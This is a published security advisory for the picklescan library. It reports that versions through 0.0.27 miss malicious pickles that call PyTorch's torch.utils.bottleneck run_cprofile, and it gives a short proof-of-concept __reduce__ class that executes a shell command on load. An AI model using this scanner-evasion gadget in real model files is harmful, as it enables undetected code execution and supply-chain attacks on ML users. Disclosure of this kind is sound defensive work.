GHSA-4r9r-ch6f-vxmx

Suggest an improvement
Source
https://github.com/advisories/GHSA-4r9r-ch6f-vxmx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-4r9r-ch6f-vxmx/GHSA-4r9r-ch6f-vxmx.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-4r9r-ch6f-vxmx
Published
2025-08-22T16:56:25Z
Modified
2025-08-22T19:18:34.030172Z
Summary
Picklescan missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_cprofile
Details

Summary

Using torch.utils.bottleneck.main.run_cprofile function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.bottleneck.main.run_cprofile function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunCprofile:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_cprofile, (code, globs)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Database specific
{
    "cwe_ids": [
        "CWE-345"
    ],
    "github_reviewed": true,
    "nvd_published_at": null,
    "severity": "MODERATE",
    "github_reviewed_at": "2025-08-22T16:56:25Z"
}
References

Affected packages

PyPI / picklescan

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.0.28

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-4r9r-ch6f-vxmx/GHSA-4r9r-ch6f-vxmx.json"
last_known_affected_version_range
"<= 0.0.27"